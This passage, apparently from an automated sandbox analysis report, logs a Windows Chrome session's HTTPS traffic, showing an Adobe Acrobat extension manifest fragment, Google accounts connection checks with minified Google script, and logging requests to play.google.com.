true,\n \"css\": [\n \"browser/css/gdrive-content-script.css\"\n ],\n \"js\": [\n \"co
2024-09-30 07:51:37 UTC	1511	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 6a 73 2f 67 64 72 69 76 65 2d 69 6e 6a 65 63 74 2e 6a 73 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 73 69 67 6e 49 6e 41 64 6f 62 65 59 6f 6c 6f 2e 68 74 6d 6c 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 61 70 70 69 63 6f 6e 5f 31 32 38 2e 70 6e 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 69 6d 61 67 65 73 2f 61 63 72 6f 62 61 74 5f 64 63 5f 74 72 65 66 6f 69 6c 5f 32 34 5f 77 68 69 74 65 2e 73 76 67 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 22 62 72 6f 77 73 65 72 2f 63 73 73 2f 66 6f 6e 74 73 Data Ascii: \"browser/js/gdrive-inject.js\",\n \"signInAdobeYolo.html\",\n \"browser/images/acrobat_dc_appicon_128.png\",\n \"browser/images/acrobat_dc_trefoil_24_white.svg\",\n \"browser/css/fonts
2024-09-30 07:51:37 UTC	494	IN	Data Raw: 2a 2e 61 64 6f 62 65 6c 6f 67 69 6e 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 2d 74 65 73 74 2e 61 63 72 6f 62 61 74 2e 63 6f 6d 3a 2a 20 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 2d 74 65 73 74 2e 61 63 72 6f 62 61 74 2e 61 64 6f 62 65 2e 63 6f 6d 3a 2a 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 63 72 6f 62 61 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 6f 62 65 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 64 6f 62 65 2e 69 6f 5c 22 5c 6e 20 20 20 20 7d 2c 5c 6e 20 20 20 20 5c 22 68 6f 73 74 5f 70 65 72 6d 69 73 73 69 6f 6e 73 5c 22 3a 20 5b 5c 6e 20 20 20 20 20 20 20 20 5c 22 3c 61 6c 6c 5f 75 72 6c 73 3e 5c 22 5c 6e 20 20 20 20 5d 2c 5c 6e 20 20 20 20 5c 22 6f 70 74 69 6f 6e 61 6c 5f 70 65 72 6d 69 73 73 69 6f 6e 73 5c 22 3a 20 5b 5c 6e Data Ascii: .adobelogin.com https://local-test.acrobat.com: https://local-test.acrobat.adobe.com:* https://.acrobat.com https://.adobe.com https://*.adobe.io\"\n },\n \"host_permissions\": [\n \"<all_urls>\"\n ],\n \"optional_permissions\": [\n
2024-09-30 07:51:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49758	142.250.184.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:39 UTC	1172	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-640975673&timestamp=1727682697731 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:40 UTC	1978	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Bee6VIlXvqgE0wjzUYGzEQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Sep 2024 07:51:40 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjctDikmJw05BikPj6kkkDiJ3SZ7AGAXHSv_OsRUC8JOIi66HEi6yXuy-xXgdi1Z5LrKZAXCRxhbUJiIW4OXo2vtzOJrBh5W8VJb2k_ML4zJTUvJLMksqU_NzEzLzk_PzszNTi4tSistSieCMDIxMDSyMjPQOL-AIDAGKgMNQ" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 37 36 32 30 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 42 65 65 36 56 49 6c 58 76 71 67 45 30 77 6a 7a 55 59 47 7a 45 51 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7620<html><head><script nonce="Bee6VIlXvqgE0wjzUYGzEQ">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 37 2e 30 22 3a 61 3d 22 31 31 2e 30 22 7d 65 6c 73 65 20 61 3d 22 37 2e 30 22 3b 65 6c 73 65 20 61 3d 63 5b 31 5d 3b 62 3d 61 7d 65 6c 73 65 20 62 3d 22 22 3b 72 65 74 75 72 6e 20 62 7d 76 61 72 20 64 3d 52 65 67 45 78 70 28 22 28 5b 41 2d 5a 5d 5b 5c 5c 77 20 5d 2b 29 2f 28 5b 5e 5c 5c 73 5d 2b 29 5c 5c 73 2a 28 3f 3a 5c 5c 28 28 2e 2a 3f 29 5c 5c 29 29 Data Ascii: (\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s(?:\$(.?)\$)
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 20 22 6e 75 6d 62 65 72 22 3a 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 61 29 3f 61 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 69 67 69 6e 74 22 3a 72 65 74 75 72 6e 28 41 61 3f 0a 61 3e 3d 42 61 26 26 61 3c 3d 43 61 3a 61 5b 30 5d 3d 3d 3d 22 2d 22 3f 75 61 28 61 2c 44 61 29 3a 75 61 28 61 2c 45 61 29 29 3f 4e 75 6d 62 65 72 28 61 29 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 72 65 74 75 72 6e 20 61 3f 31 3a 30 3b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 69 66 28 61 29 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 69 66 28 43 28 61 29 29 72 65 74 75 72 6e 7d 65 6c 73 65 20 69 66 28 46 61 26 26 61 21 3d 6e 75 6c 6c 26 26 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 Data Ascii: "number":return isFinite(a)?a:String(a);case "bigint":return(Aa?a>=Ba&&a<=Ca:a[0]==="-"?ua(a,Da):ua(a,Ea))?Number(a):String(a);case "boolean":return a?1:0;case "object":if(a)if(Array.isArray(a)){if(C(a))return}else if(Fa&&a!=null&&a instanceof Uint8Arra
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 62 2e 68 61 73 28 61 29 26 26 28 62 3d 61 2e 43 29 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 63 5d 3b 69 66 28 63 3d 3d 3d 62 2e 6c 65 6e 67 74 68 2d 31 26 26 41 28 64 29 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 7b 76 61 72 20 66 3d 64 5b 65 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 66 29 26 26 0a 52 61 28 66 2c 61 29 7d 65 6c 73 65 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 64 29 26 26 52 61 28 64 2c 61 29 7d 61 3d 45 3f 61 2e 43 3a 4d 61 28 61 2e 43 2c 50 61 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 21 31 29 3b 65 3d 21 45 3b 69 66 28 62 3d 61 2e 6c 65 6e 67 74 68 29 7b 64 3d 61 5b 62 2d 31 5d 3b 28 66 3d 41 28 64 29 29 3f 62 2d 2d 3a 64 3d 76 6f 69 64 20 30 3b 63 3d Data Ascii: b.has(a)&&(b=a.C))for(var c=0;c<b.length;c++){var d=b[c];if(c===b.length-1&&A(d))for(var e in d){var f=d[e];Array.isArray(f)&&Ra(f,a)}else Array.isArray(d)&&Ra(d,a)}a=E?a.C:Ma(a.C,Pa,void 0,void 0,!1);e=!E;if(b=a.length){d=a[b-1];(f=A(d))?b--:d=void 0;c=
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 20 61 3b 61 3d 53 79 6d 62 6f 6c 28 22 63 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 22 41 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 57 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 46 28 64 2e 70 Data Ascii: a;a=Symbol("c");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=Wa[b[c]];typeof d==="function"&&typeof d.prototype[a]!="function"&&F(d.p
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 29 3b 76 61 72 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e 67 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6b 29 7b 6b 3d 48 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 49 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: );var h=0,g=function(k){this.g=(h+=Math.random()+1).toString();if(k){k=H(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};g.prototype.set=function(k,l){if(!c(k))throw Error("i");d(k);if(!I(k,f))throw Error("j`"+k);k[f][this.g]=l;return thi
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 61 72 20 6c 3d 74 68 69 73 2e 65 6e 74 72 69 65 73 28 29 2c 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 0a 6d 2e 76 61 6c 75 65 2c 67 2e 63 61 6c 6c 28 6b 2c 6d 5b 31 5d 2c 6d 5b 30 5d 2c 74 68 69 73 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d Data Ascii: ar l=this.entries(),m;!(m=l.next()).done;)m=m.value,g.call(k,m[1],m[0],this)};c.prototype[Symbol.iterator]=c.prototype.entries;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0]
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 62 29 7d 7d 29 3b 76 61 72 20 66 62 3d 66 62 7c 7c 7b 7d 2c 71 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 67 62 3d 71 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 68 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 71 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 2c 69 62 3d 22 63 6c 6f 73 75 72 65 5f 75 69 64 5f 22 2b 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 31 45 39 3e 3e 3e 30 29 2c 6a 62 3d 30 2c 6b 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 61 2e 62 69 6e 64 2c 61 72 67 75 6d Data Ascii: b)}});var fb=fb\|\|{},q=this\|\|self,gb=q._F_toggles\|\|[],hb=function(a){a=a.split(".");for(var b=q,c=0;c<a.length;c++)if(b=b[a[c]],b==null)return null;return b},ib="closure_uid_"+(Math.random()*1E9>>>0),jb=0,kb=function(a,b,c){return a.call.apply(a.bind,argum
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 71 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 26 64 28 66 2c 68 2c 67 2c 6b 2c 6c 29 3b 61 28 7b 6d 65 73 73 61 67 65 3a 66 2c 66 69 6c 65 4e 61 6d 65 3a 68 2c 6c 69 6e 65 3a 67 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 67 2c 63 61 3a 6b 2c 65 72 72 6f 72 3a 6c 7d 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 74 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 68 62 28 22 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 22 29 3b 61 3d 3d 6e 75 6c 6c 26 26 28 61 3d 27 55 6e 6b 6e 6f 77 6e 20 45 72 72 6f 72 20 6f 66 20 74 79 70 65 20 22 6e 75 6c 6c 2f 75 6e 64 65 66 Data Ascii: function(a,b,c){c=c\|\|q;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&&d(f,h,g,k,l);a({message:f,fileName:h,line:g,lineNumber:g,ca:k,error:l});return e}},tb=function(a){var b=hb("window.location.href");a==null&&(a='Unknown Error of type "null/undef
2024-09-30 07:51:40 UTC	1978	IN	Data Raw: 22 3a 66 3d 28 66 3d 73 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c 65 6e 67 74 68 3e 34 30 26 26 28 66 3d 66 2e 73 6c 69 63 65 28 30 2c 34 30 29 2b 22 2e 2e 2e 22 29 3b 63 2e 70 75 73 68 28 66 29 7d 62 2e 70 75 73 68 28 61 29 3b 63 2e 70 75 73 68 28 22 29 5c 6e 22 29 3b 74 72 79 7b 63 2e 70 75 73 68 28 77 62 28 61 2e 63 61 6c 6c 65 72 2c 62 29 29 7d 63 61 74 63 68 28 68 29 7b 63 2e 70 75 73 68 28 22 5b 65 78 63 65 70 74 69 6f 6e 20 74 72 79 69 6e 67 20 74 6f 20 67 65 74 20 63 61 6c 6c 65 72 5d 5c 6e 22 29 7d 7d 65 6c 73 65 20 61 3f 63 2e 70 75 73 68 28 22 5b 2e 2e 2e 6c 6f 6e 67 20 73 74 61 63 6b 2e 2e 2e 5d 22 29 3a 63 2e 70 75 73 68 28 22 5b 65 6e 64 5d 22 29 3b 72 Data Ascii: ":f=(f=sb(f))?f:"[fn]";break;default:f=typeof f}f.length>40&&(f=f.slice(0,40)+"...");c.push(f)}b.push(a);c.push(")\n");try{c.push(wb(a.caller,b))}catch(h){c.push("[exception trying to get caller]\n")}}else a?c.push("[...long stack...]"):c.push("[end]");r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49762	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:40 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:41 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:51:41 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49763	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:41 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:41 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:51:41 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49766	142.250.181.238	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 07:51:41 UTC	1060	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CI62yQEIpbbJAQipncoBCJuDywEIkqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 07:51:41 UTC	519	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 36 38 32 36 39 38 37 39 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727682698799",null,null,null
2024-09-30 07:51:42 UTC	932	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=onpa3VdrJ_93kLczbw354ezLC3v-GLWmYGiB2yuyMtOBxB-hFS4OPqg8aBa9WWOizC-jGHdFJeucim9hbU8sam55vSuP7cGZP7dlzOMzB5Y833IYVqpUrU_teDSXFS1emefo72UGTcXCk7eyLIYgpNA0pE7ymQwQmx5hh8hGcMZ_bfm9YA; expires=Tue, 01-Apr-2025 07:51:42 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 30 Sep 2024 07:51:42 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 30 Sep 2024 07:51:42 GMT Connection: close Transfer-Encoding: chunked
